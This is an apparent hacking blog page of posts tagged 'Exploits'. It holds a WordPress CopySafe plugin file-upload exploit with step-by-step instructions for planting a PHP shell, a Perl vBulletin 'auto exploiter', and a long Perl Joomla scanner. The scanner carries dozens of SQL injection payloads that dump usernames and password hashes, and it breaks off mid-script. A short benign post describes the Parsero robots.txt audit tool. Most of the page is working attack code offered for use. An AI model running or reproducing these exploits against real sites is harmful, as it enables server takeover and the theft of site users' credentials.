http://skamason.com/7b9R

http://skamason.com/7b9R
Mostrando postagens com marcador Exploits. Mostrar todas as postagens
Mostrando postagens com marcador Exploits. Mostrar todas as postagens

quarta-feira, 27 de agosto de 2014

Wordpress Plugin CopySafe Web Protection Shell Upload (0day) Vulnerability

##################################################################################################
#Exploit Title : Wordpress Plugin CopySafe PDF Protection Shell Upload vulnerability
#Author : incredible
#Download Link : http://wordpress.artistscope.com/?page_id=39
#version affected : 0.6 and below
#Date : 14/07/2014
#Discovered at : IndiShell Lab
#Credit : Aloulou ( Original Author who first found it & selling it at 20$ at 1337day :p ) & @error1046
##################################################################################################

////////////////////////
/// Overview:
////////////////////////
Wordpress Plugin CopySafe Web Protection (upto version 0.6) suffers from unrestricted file upload vulnerability which allow an attacker to upload malecious php shell on server.
to avaid exploitation , update plugin to version 0.7

///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to lib/uploadify/uploadify.php file in which there is no check during file upload
attacker need to forward file upload request to this file with PHP shell and file upload path


///////////////////////
/// exploit code ////
///////////////////////



<form action="http://website.com/wp-content/plugins/wp-copysafe-web/lib/uploadify/uploadify.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="wpcsp_file" ><br>
<input type=text name="upload_path" value="../../../../uploads/">
<input type="submit" name="submit" value="Submit">
</form>

change website.com with name of website on which plugin is installed
save this code on you machine as exploit.html
open exploit.html into web browser, brows your php shell and click submit button

shell will be uploaded in uploads directory
http://website.com/wp-content/uploads/shell.php

quarta-feira, 5 de março de 2014

[Parsero] Robots.txt audit tool

 
Parsero is a free script written in Python which reads the Robots.txt file of a web server and looks at the Disallow entries. The Disallow entries are the URL path of directories or files hosted on a web server which the administrators don't want to be indexed by the crawlers. For example, "Disallow: /portal/login" don't allow to www.example.com/portal/login be indexed by the search engines like Google, Bing, Yahoo... so nobody can locate it when searching on them.

Sometimes these paths typed in the Disallows entries are directly accessible by the users (without using a search engine) just visiting the URL and the Path and sometimes they are not available to be visited by anybody... Because it is really common that the administrators write a lot of Disallows and some of them are available and some of them are not, you can use Parsero in order to check the HTTP status code of each Disallow entry in order to check automatically if these directories are available or not.
When you execute Parsero, you can see the HTTP status codes. For example, the codes bellow:
200 OK          The request has succeeded.
403 Forbidden   The server understood the request, but is refusing to fulfill it.
404 Not Found   The server hasn't found anything matching the Request-URI.
302 Found       The requested resource resides temporarily under a different URI.
...

Also, that the administrator write a robots.txt, it doesn't mean that the files or direcotories typed in this file will not be indexed by Bing, Google, Yahoo... For this reason, Parsero is capable of searching in Bing to locate content indexed whithout the web administrator authorization.

sábado, 1 de fevereiro de 2014

VBulletin 0Day Exploit

#!/usr/bin/perl
use LWP::UserAgent;
use 
HTTP::Request::Common;
system('cls'); system('title vBulletin Install Auto Exploiter');
print 
"\n ---------------------------------------";
print 
"\n vBulletin Install Auto Exploiter founded by pixel_death, n3tw0rk & z0ne\n";
print 
" ---------------------------------------\n";
print 
" + d4tabase.com -+- d4tabase.com + ";
print 
"\n ---------------------------------------\n";
print 
" coded by n0tch shoutz d4tabase crew ";
print 
"\n ---------------------------------------\n";

if($
#ARGV == -1 or $#ARGV > 0) {
print 
"\n usage: ./vBulletin.pl domain (without http://) \n\n";
exit;
}
$domain = $ARGV[0]; $install_dir = "install"; $full_domain = "http://$domain/$install_dir/upgrade.php"; chop($domain);

&
search;

sub search { $url = $full_domain; $lwp = LWP::UserAgent->new(); $lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"); $request = $lwp->post($url, ["searchHash" => "Search"]);

print 
" Searching $domain ----\n ";
if (
$request->content =~ /CUSTNUMBER = \"(.+)\";/)
{
print "
Result : $1\n";
} else {
print "
Hash: Hash not found!\n";
}
}

domingo, 30 de dezembro de 2012

Joomla Vulnerability Checker

#!/usr/bin/perl

########################################
#[~] Coded by : X-h4ck
#[~] Greetz : 4LiFe - IlyrianWarrior - Wulns~ - st3aler - cRu3l.b0y - Hack-Down - H3LL
#[!] Name : Joomla vulnerability scanner
#[!] Email : mem001@live.com
#h4ck0ff ~ sacred legion
#Pirate.AL
########################################


print q{

+---------------------------------------------------------------+
| h4ck0ff ~ sacred legion |
|/************************************************** ***********\|
| [x] Name : Joomla Vulnerability Scanner |
| [x] Coded by : X-h4ck |
| [x] E-mail : mem001[at]live[dot]com |
| [x] Site : www.Pirate.AL |
| [x] Greetz : 4LiFe - IllyrianWarrior - Wulns~ - st3aler |
| cRu3l.b0y - Hack-Down - H3LL |
+---------------------------------------------------------------+



########################################
Joomla Vulnerability Scanner
- SQLi scanner *remote v1 (2010 exploits)
########################################
};


use HTTP::Request;
use LWP::UserAgent;


###xpl###
$com_jeajaxeventcalendar="/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4/**/from/**/jos_users--";
$com_storedirectory="UNION SELECT 1,2,concat_ws(0x3a,username,email,password),4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18 from jos_users";
$com_annuaire="/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10, 11,12,13/**/from/**/jos_users--";
$com_maianmedia="+union+all+select+1,2,group_conca t(username,char(58),password),4,5,6,7,8,9,10,11,12 ,13,14,15,16,17+from+jos_users--";
$com_alfurqan15x="+UNION+ALL+SELECT+1,concat_ws(0x 3a,username,0x3a,password)kaMtiEz,3,4,5+from+jos_u sers--";
$com_markt="+union+select+0,1,password,3,4,5,usern ame,7,8+from+jos_users--";
$com_sponsorwall="+and+1=0+union+select+1,2,concat (username,0x3a,password)fl0rix,4,5,6,6,7,8,9,10+fr om+jos_users--";
$com_flipwall="+union+select+1,2,3,4,5,concat(user name,0x3a,password)fl0rix,7,8,9,10+from+jos_users--";
$jedirectory="+1+union+select+1,2,concat(0x23,0x23 ,0x23,0x23,0x23,id,0x23,0x23,0x23,0x23,0x23),4,5,6 ,7,8,9,10,11+from+jos_users+where+id=userid--";
$com_ezautos="+and+0+union+select+1,2,concat(usern ame,0x3a,password),4,5,6,7+from+%23__users+where+g id=25+or+gid=24+and+block%3C%3E1--";
$com_arash="+and 1=0 UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30 from jos_users";
$com_taxes="+union+all+select+1,group_concat(usern ame,0x3a,password,0x3a,email,0x3a,usertype),3,4,5, 6,7,8,9,10,11+from+jos_users--";
$com_vat="+union+all+select+1,group_concat(usernam e,0x3a,password),3,4,5,6,7,8,9,10,11+from+jos_user s--";
$com_blogs="/**/ AND /**/ 1=2 /**/ UNION /**/ SELECT /**/ 0,1,2,3,version(),database(),concat(username,0x3a, password) /**/ from /**/ jos_users--";
$com_gr="+union+select+1,concat(username,0x3a,pass word)+from+jos_users--";
$com_simpleshop="UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,concat(username,0x3e,password,0 x3e,usertype,0x3e,lastvisitdate)+from+jos_users--";
$com_youtube="union+select+1,concat(username,0x3a, email),3,4,5,6,7,8+from+jos_users--";
$com_joomdle="-999.9'+UNION+ALL+SELECT+1,2,3,4,5,group_concat(use rname,0x3a,password),7,8,9,10,11,12,13,14,15,16,17 ,18+from+mdl_user--+and+'kaMtiEz'='kaMtiEz";
$com_itaromry="?filter_search=&filter_level=1&filt er_race=*&filter_class=8+and+1=2+union+all+select+ 1,2,3,4,5,6,concat(username,0x3a,password),8,9,10, 11+from+jos_users--+";
$com_iproperty="/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,group_concat(username,char(5 8),password)v3n0m/**/from/**/jos_users--";
$com_huruhelpdesk="/**/union/**/select/**/1,2,3,concat%28username,0x3a,password%29,5,6,7+fro m+jos_users--";
$com_jomtube="+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,group_concat(username,0x3a,password),14,15,16 ,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube";
$com_spa="%20UNION%20SELECT%201,2,3,4,concat(usern ame,0x3a,password),6,7,8,9,10,11,12,13%20from%20jo s_users--";
$com_staticxt="+union select+concat_ws(0x3a,username,password),2,3,4,5,6 ,7,8,9,10,11,12+from+jos_users";
$com_ybggal="+and+1=2+union+all+select+1,group_con cat(username,char(58),password)v3n0m,3,4,5+from+jo s_users--";
$com_quran="/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password,0x3a,email,0 x3a,activation,0x3c62723e)r3m1ck,3,4,5/**/FROM/**/jos_users--";
$com_konsultasi="/**/union/**/select/**/all/**/1,2,3,4,concat(username,0x3a,password)c4uR,6,7,8,9/**/from/**/jos_users--";
$com_newsfeeds="%20union%20select%201,concat%28use rname,char%2858%29,password%29,3,4,5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2 8,29,30%20from%20jos_users--";
$wapmain="+union+select+1,2,3,concat(username,0x3a ,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0 ,1--";
$com_abc="+union+select+1,group_concat(0x3a,userna me,0x3a,password,0x3a)+from+jos_users--";
$com_joomradio="+union+select+1,group_concat(usern ame,0x3a,password),3,4,5,6,7+from+jos_users--";
$com_jtm="/**/union/**/all/**/select/**/concat_ws(0x3a,username,password)/**/from/**/jos_users--&task=search";
$com_gbufacebook="+UNION+ALL+SELECT+1,concat_ws(0x 3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14 ,15,16+from+jos_users--+and+'kaMtiEz'='kaMtiEz";
$com_manager="/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,group_concat(username,char(5 8),password)v3n0m/**/from/**/jos_users--";
$com_jp_jobs="/**/union/**/all/**/select/**/1,2,group_concat(username,char(58),password)v3n0m, 4,5,6,7,8,9,10,11,12,13,14/**/from/**/jos_users--";
$com_sermonspeaker="/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/**/";
$com_jdrugstopic="+UNION+SELECT+1,concat(username, 0x3a,password),3,4,5,6,7,8,9,10,11,12,13+from+jos_ users--";
$com_mv_restaurantmenumanager="+and+1=2+union+sele ct+1,2,group_concat(username,0x3a,password),4,5,6, 7,8,9,10,11,12+from+jos_users";
$com_articles="+union+select+1,2,3,4,5,concat(user name,0x3a,password),7,8,9,10+from+jos_users—-";
$com_dcs_flashgames="+union+all+select+1,2,user(), 4,@@version,6,concat_ws(0x3a,username,password)+fr om+jos_users--";
$com_bidding="+UNION ALL SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21 from jos_users--";
$com_acteammember="+UNION+SELECT+1,2,3,4,5,concat( username,0x20,password),7,8,9,10,11,12,13,14,15+fr om+mos_users--&Itemid=121&lang=en";
$com_acstartseite="+and+1=2+union+select+1,2,conca t(username,0x20,password),4,5,6,7,8,9,10,11,12,13, 14,15,16,17+from+mos_users***12296;=de";
$com_productbook="+UNION all SELECT 1,2,3,concat(username,0x3a,password,0x3a,email),5, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 ,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,5 7,58+from+condev.jos_users--";
$com_yelp="+UNION+ALL+SELECT+1,2,3,concat_ws(0x3a3 a3a,username,password),5,6,concat_ws(0x3a3a3a,user name,password),8,9,10,11,12,13,14,15,16,17+FROM+jo s_users--";
$com_dms="+union+all+select+666,666,666,666,666,66 6,666,concat_ws(0x3a,username,password),666,666,66 6,666,666,666,666,666,666,666,666,666,666+from+jos _users--";
$com_jbpublishdownfp="+union+all+select+concat(use rname,0x3A3A3A,password)+from+jos_users";
$com_casino="+union+all+select+1,username,password ,4,5+from+jos_users/*";
$com_doqment="/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--";
$com_alfresco="/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rixf0r3v3r, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/from/**/jos_users--";
$com_countries="/**/union/**/select/**/concat(username,0x3a,password)fl0f0r3v3r/**/from/**/jos_users";




print "\nWeb page: http://wwww.site.com/ : ";
chomp(my $target=<STDIN>);

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (compatible; MSIE 7.0; Windows)');
$host = $target . "/index.php?option=com_jeajaxeventcalendar&view=alle ventlist_more&event_id=-999 .$com_jeajaxeventcalendar.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){
print "[*] Results : CHECK : \n";
print "Joomla JE Ajax Event Component (com_jeajaxeventcalendar) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_storedirectory&task=view&id=-999 .$com_storedirectory.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){
print "[*] Results : CHECK : \n";
print "Joomla Component (com_storedirectory) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_annuaire&view=annuaire&type=c at&id=-999 .$com_annuaire.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla (com_annuaire) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_maianmedia&view=music&cat=-999 .$com_maianmedia.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_maianmedia) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_alfurqan15x&action=viewayat&s urano=-999 .$com_alfurqan15x.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_alfurqan15x) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_markt&page=show_category&cati d=999 .$com_markt.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_markt) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_sponsorwall&controller=sponso rwall&catid=9999 .$com_sponsorwall.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_sponsorwall) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_flipwall&controller=flipwall& catid=999 .$com_flipwall.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_flipwall) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_jedirectory&view=item&catid=9 99 .$jedirectory.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla JE Directory SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_ezautos&Itemid=999&id=1&task= helpers&firstCode=999 .$com_ezautos.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_ezautos) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_arash&id=999 .$com_arash.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_arash) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_taxes&id=-999 .$com_taxes.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_taxes) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_vat&id=-999 .$com_vat.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_vat) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_blogs&task=details&b_id=999 .$com_blogs.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_blogs) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_blogs&task=details&b_id=-999 .$com_gr.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_gr) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_simpleshop&Itemid=xx&task=vie wprod&id=-999 .$com_simpleshop.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_simpleshop) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_youtube&id_cate=999 .$com_youtube.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_youtube) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_joomdle&view=detail&cat_id=1& course_id=.$com_joomdle.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_joomdle) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_itarmory&view=guildmembers&It emid=.$com_itarmory.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_itarmory) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_iproperty&view=agentpropertie s&id=-999999 .$com_iproperty.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_iproperty) SQL Injection Vulnerability ! \n\n";
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_huruhelpdesk&view=detail&cid[0]=999 .$com_huruhelpdesk.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_huruhelpdesk) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?view=videos&type=member&user_id=-999 .$com_jomtube.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_jomtube) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_spa&view=spa_read_more&pid=-999 .$com_spa.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_spa) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_staticxt&staticfile=test.php& id=-999 .$com_staticxt.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_staticxt) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_ybggal&Itemid=999&catid=999 .$com_ybggal.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_ybggal) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_quran&action=viewayat&surano= 999 .$com_quran.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_quran) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_konsultasi&act=detail&sid=999 .$com_konsultasi.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_konsultasi) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_newsfeeds&view=categories&fee did=-999 .$com_newsfeeds.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_newsfeeds) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/wap/wapmain.php?option=onews&action=link&id=-999 .$wapmain.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (wapmain.php) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_abc&view=abc&letter=AS&sectio nid=-999 .$com_abc.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_abc) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index2.php?option=com_joomradio&page=show_video&id =-999 .$com_joomradio.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_joomradio) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_jtm&view=search&view=search&a uthor=-999 .$com_jtm.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component JTM Reseller SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_gbufacebook&task=show_face&fa ce_id=-999 .$com_gbufacebook.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_gbufacebook) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_manager&view=flight&Itemid=99 9 .$com_manager.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_manager) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_jp_jobs&view=detail&id=-999 .$com_jp_jobs.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_jp_jobs) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_sermonspeaker&task=latest_ser mons&id=-999 .$com_sermonspeaker.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_sermonspeaker) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_jdrugstopics&view=drugsdetail s&id=-999 .$com_jdrugstopics.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_jdrugstopics) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_mv_restaurantmenumanager&task =menu_display&Venue=1&mid=999 .$com_mv_restaurantmenumanager.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_mv_restaurantmenumanager) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_articles&task=view_addarticle s&sid=999 .$com_articles.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_articles) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_dcs_flashgames&Itemid=61&cati d=999 .$com_dcs_flashgames.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_dcs_flashgames) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_bidding&id=-999 .$com_bidding.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_bidding) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_acteammember&id=-999 .$com_acteammember.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_acteammember) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_acstartseite&Itemid=999 .$com_acstartseite.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_acstartseite) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_productbook&Itemid=999&func=d etail&id=-999 .$com_productbook.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_productbook) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_yelp&controller=showdetail&ta sk=showdetail&cid=-999 .$com_yelp.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_yelps) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_yelp&controller=showdetail&ta sk=showdetail&cid=-999 .$com_yelp.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_yelps) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/index.php?option=com_dms&task=view_category&catego ry_id=-999 .$com_dms.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_dms) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$host = $target . "/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=-999 .$com_jbpublishdownfp.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-f]{32})/){+
print "[*] Results : CHECK : \n";
print "Joomla Component (com_jbpublishdownfp) SQL Injection Vulnerability ! \n\n"
}
else{print "\n[-] Error\n";
}

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (compatible; MSIE 7.0; Windows)');
$host = $target . "/administrator/index.php?option=com_casino&task=category&id=-999 .$com_casino.";
